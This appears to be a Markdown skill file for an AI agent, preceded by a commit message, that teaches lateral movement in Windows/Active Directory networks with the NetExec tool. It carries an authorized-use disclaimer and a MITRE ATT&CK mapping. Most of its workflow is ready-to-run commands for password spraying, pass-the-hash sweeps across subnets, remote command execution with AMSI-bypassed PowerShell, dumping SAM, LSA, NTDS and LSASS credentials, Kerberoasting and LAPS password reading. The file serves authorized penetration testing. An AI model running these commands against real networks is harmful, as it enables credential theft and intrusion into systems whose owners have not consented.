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Mahipal
2fb6a9faff
Each rewritten description now states both what the skill does (concrete capability, named tools/artifacts) and an explicit when-to-use trigger, improving agent discovery/activation. Grounded in each skill's own body; changes confined to the `description` field only (bodies and all other frontmatter untouched). Produced by a gated audit->rewrite->recheck loop (548 -> 0 flagged) with a sampled anti-invention check (0 ungrounded). Schema: 817/817 pass. Framework-ID gate: 0 defects.
200 lines
10 KiB
Markdown
200 lines
10 KiB
Markdown
---
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name: moving-laterally-with-netexec
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description: Use NetExec (nxc) to validate credentials, enumerate SMB shares/users/policy, password-spray safely across lockout thresholds, execute commands, and dump SAM/LSA/NTDS credentials across SMB, WinRM, LDAP, MSSQL, SSH, and other protocol modules. Use during authorized internal penetration tests to find lateral-movement paths after obtaining credentials or hashes, or to conduct controlled password spraying and post-exploitation on in-scope hosts.
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domain: cybersecurity
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subdomain: penetration-testing
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tags:
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- netexec
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- lateral-movement
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- smb
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- password-spraying
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- credential-access
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- active-directory
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- winrm
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- post-exploitation
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version: '1.0'
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author: mahipal
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license: Apache-2.0
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nist_csf:
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- DE.CM-01
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mitre_attack:
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- T1021.002
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---
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# Moving Laterally with NetExec
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> **Authorized Use Only:** This skill is for authorized penetration testing, red-team engagements, and educational labs only. NetExec authenticates to, executes code on, and extracts credentials from remote hosts. Running it against systems you do not own or lack explicit written authorization to test is illegal under computer-misuse laws (e.g. the US CFAA, UK Computer Misuse Act). Confirm scope and rules of engagement before use.
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## Overview
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NetExec (`nxc`) is the actively maintained successor to CrackMapExec, a network-service swiss-army knife for assessing and exploiting Windows/Active Directory and Linux environments. It wraps Impacket and other libraries behind a unified CLI so an operator can authenticate against many hosts at once, validate harvested credentials, spray passwords, enumerate shares/users/policies, execute commands, and dump credentials — all while logging cleanly for reporting.
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NetExec is protocol-oriented: every invocation starts with a protocol module. As of the 2025 releases it supports **smb, winrm, mssql, ldap, ssh, ftp, wmi, rdp, vnc, and nfs**. Command execution (`-x`/`-X`) is available on SMB, WINRM, SSH, MSSQL, WMI and (since summer 2025) RDP. A built-in module system (`-M`) adds capabilities such as LAPS retrieval, LSASS dumping via `lsassy`, BloodHound collection, and share spidering.
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For lateral movement specifically, NetExec maps directly to MITRE ATT&CK **T1021.002 (Remote Services: SMB/Windows Admin Shares)**: it authenticates over SMB (port 445), reaches `ADMIN$`/`C$`, and uses named-pipe or task-scheduler execution to run code on remote machines. The `(Pwn3d!)` marker in output signals that the supplied principal has local-admin code-execution rights on a host — the green light for lateral movement.
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## When to Use
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- During an internal network penetration test after obtaining one or more valid credentials/hashes, to identify every host where those credentials grant admin access.
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- To perform controlled password spraying against a domain while respecting lockout thresholds.
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- To enumerate SMB shares, domain users, password policy, and loggedon sessions across a subnet in one sweep.
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- To execute commands or dump SAM/LSA/NTDS credentials on authorized targets during post-exploitation.
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- To collect BloodHound data or LAPS passwords using NetExec modules instead of separate tooling.
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## Prerequisites
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- A Linux operator host (Kali/Parrot/Ubuntu). Install via pipx (recommended):
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```bash
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sudo apt install -y pipx git
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pipx ensurepath
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pipx install git+https://github.com/Pennyw0rth/NetExec
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# verify
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nxc --version
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nxc smb --help
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```
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- Docker alternative:
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```bash
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git clone https://github.com/Pennyw0rth/NetExec
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cd NetExec
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docker build -t netexec .
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docker run --rm -it netexec smb --help
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```
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- Network reachability to target ports (445/SMB, 5985-5986/WinRM, 389-636/LDAP, 1433/MSSQL).
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- Valid credentials, NT hashes, or Kerberos tickets within an authorized scope.
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- A signed rules-of-engagement document and knowledge of the account-lockout policy before spraying.
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## Objectives
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- Validate harvested credentials across a host range and locate `(Pwn3d!)` admin access.
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- Enumerate shares, users, and password policy over SMB and LDAP.
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- Conduct lockout-safe password spraying with `--continue-on-success`.
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- Execute commands on authorized hosts and select an appropriate `--exec-method`.
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- Dump SAM, LSA, and NTDS credentials and collect them into the NetExec workspace.
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- Drive AD attacks (Kerberoasting, ASREPRoast, BloodHound collection) through LDAP modules.
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## MITRE ATT&CK Mapping
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| Technique ID | Official Name | How NetExec Implements It |
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|--------------|---------------|---------------------------|
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| T1021.002 | Remote Services: SMB/Windows Admin Shares | Authenticates over SMB to `ADMIN$`/`C$` and executes code on remote hosts (`-x`, `--exec-method`) |
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| T1110.003 | Brute Force: Password Spraying | One password against many accounts with `--continue-on-success` |
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| T1003.002 | OS Credential Dumping: Security Account Manager | `--sam` dumps local SAM hashes |
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| T1003.004 | OS Credential Dumping: LSA Secrets | `--lsa` dumps LSA secrets and cached credentials |
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| T1003.006 | OS Credential Dumping: DCSync | `--ntds` via drsuapi extracts the domain database |
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| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | `ldap --kerberoasting` requests service tickets |
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| T1087.002 | Account Discovery: Domain Account | `--users`, `--rid-brute` enumerate domain accounts |
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| T1135 | Network Share Discovery | `--shares`, `-M spider_plus` enumerate accessible shares |
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## Workflow
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### 1. Validate credentials and find admin access
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Sweep a subnet with a credential pair or NT hash. A trailing `(Pwn3d!)` marks hosts where the principal has admin code execution — these are your lateral-movement targets.
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```bash
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# Cleartext password across a /24
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nxc smb 192.168.1.0/24 -u jsmith -p 'Summer2025!' -d corp.local
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# Pass-the-hash (NT only or LM:NT)
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nxc smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'
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nxc smb 10.10.10.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth
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```
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### 2. Enumerate the environment
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Pull users, shares, password policy, loggedon sessions, and active sessions to plan movement.
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```bash
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nxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --users
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nxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --pass-pol
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nxc smb 192.168.1.0/24 -u jsmith -p 'Summer2025!' --shares
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nxc smb 192.168.1.0/24 -u jsmith -p 'Summer2025!' --loggedon-users --sessions
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# RID brute for accounts when listing is blocked
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nxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --rid-brute 10000
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```
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### 3. Password-spray safely
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Spray one password against a user list, staying under the lockout threshold. `--continue-on-success` keeps testing every account instead of stopping at the first hit.
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```bash
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# Discover the lockout policy FIRST
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nxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --pass-pol
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# Spray a single password across many users
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nxc smb dc01.corp.local -u users.txt -p 'Welcome2025!' --continue-on-success
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# Validate a credential set across the domain without bruteforcing
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nxc ldap dc01.corp.local -u users.txt -p 'Spring2025!' --continue-on-success --no-bruteforce
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```
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### 4. Execute commands on authorized hosts
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On `(Pwn3d!)` targets, run commands and choose a quieter execution channel when needed.
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```bash
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# Default execution
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nxc smb 192.168.1.50 -u Administrator -H <hash> -x 'whoami /all'
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# Pick an exec method: smbexec, wmiexec, atexec, mmcexec
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nxc smb 192.168.1.50 -u Administrator -H <hash> --exec-method wmiexec -x 'hostname'
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# PowerShell over WinRM (amsi-bypassed, base64-encoded transparently)
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nxc winrm 192.168.1.50 -u Administrator -H <hash> -X '$PSVersionTable'
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```
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### 5. Dump credentials
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Harvest local and domain credentials from authorized hosts to fuel further movement.
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```bash
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# Local SAM hashes and LSA secrets
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nxc smb 192.168.1.50 -u Administrator -H <hash> --sam --lsa
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# In-memory LSASS dump via the lsassy module
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nxc smb 192.168.1.50 -u Administrator -H <hash> -M lsassy
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# Domain database from a DC (DRSUAPI default, or VSS)
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nxc smb dc01.corp.local -u Administrator -H <hash> --ntds
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nxc smb dc01.corp.local -u Administrator -H <hash> --ntds vss
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```
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### 6. Drive AD attacks via LDAP and modules
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Use protocol modules to pivot to ticket attacks, delegation, LAPS, and BloodHound ingestion.
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```bash
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# Kerberoasting and ASREPRoasting
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nxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' --kerberoasting kerb.out
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nxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' --asreproast asrep.out
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# Read LAPS passwords where permitted
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nxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' -M laps
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# Collect BloodHound data
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nxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' --bloodhound --collection All --dns-server 192.168.1.10
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# MSSQL command/query execution
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nxc mssql 192.168.1.60 -u sa -p 'Sql2025!' --local-auth -q 'SELECT name FROM sys.databases'
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nxc mssql 192.168.1.60 -u sa -p 'Sql2025!' --local-auth -x 'whoami'
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```
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### 7. Review the workspace and report
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NetExec stores results in a per-protocol SQLite workspace under `~/.nxc/`. Review captured credentials and admin relationships for the report.
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```bash
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nxc smb -L # list SMB modules
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ls ~/.nxc/workspaces/
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nxc smb 192.168.1.0/24 -u jsmith -p 'Summer2025!' --shares --log spray_results.log
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```
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## Tools and Resources
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| Tool | Purpose | Source |
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|------|---------|--------|
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| NetExec (`nxc`) | Multi-protocol network exploitation | https://github.com/Pennyw0rth/NetExec |
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| NetExec Wiki | Official docs and per-protocol flags | https://www.netexec.wiki/ |
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| Impacket | Underlying SMB/MSSQL/Kerberos libraries | https://github.com/fortra/impacket |
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| lsassy | Remote LSASS extraction (NetExec module) | https://github.com/login-securite/lsassy |
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| BloodHound CE | Graph analysis of collected AD data | https://github.com/SpecterOps/BloodHound |
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| NetExec Cheat Sheet | Command reference | https://www.stationx.net/netexec-cheat-sheet/ |
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## Validation Criteria
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- [ ] NetExec installed and `nxc --version` confirmed.
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- [ ] Account-lockout policy reviewed before any spraying.
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- [ ] Credentials validated across the in-scope host range.
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- [ ] `(Pwn3d!)` admin-access hosts enumerated and documented.
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- [ ] Shares, users, and password policy collected.
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- [ ] Password spraying performed under lockout thresholds with `--continue-on-success`.
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- [ ] Command execution tested with an appropriate `--exec-method`.
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- [ ] Credential dumping (`--sam`/`--lsa`/`--ntds`) performed only on authorized targets.
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- [ ] LDAP attacks (Kerberoasting/ASREPRoast/LAPS/BloodHound) executed where in scope.
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- [ ] Workspace results exported and included in the engagement report.
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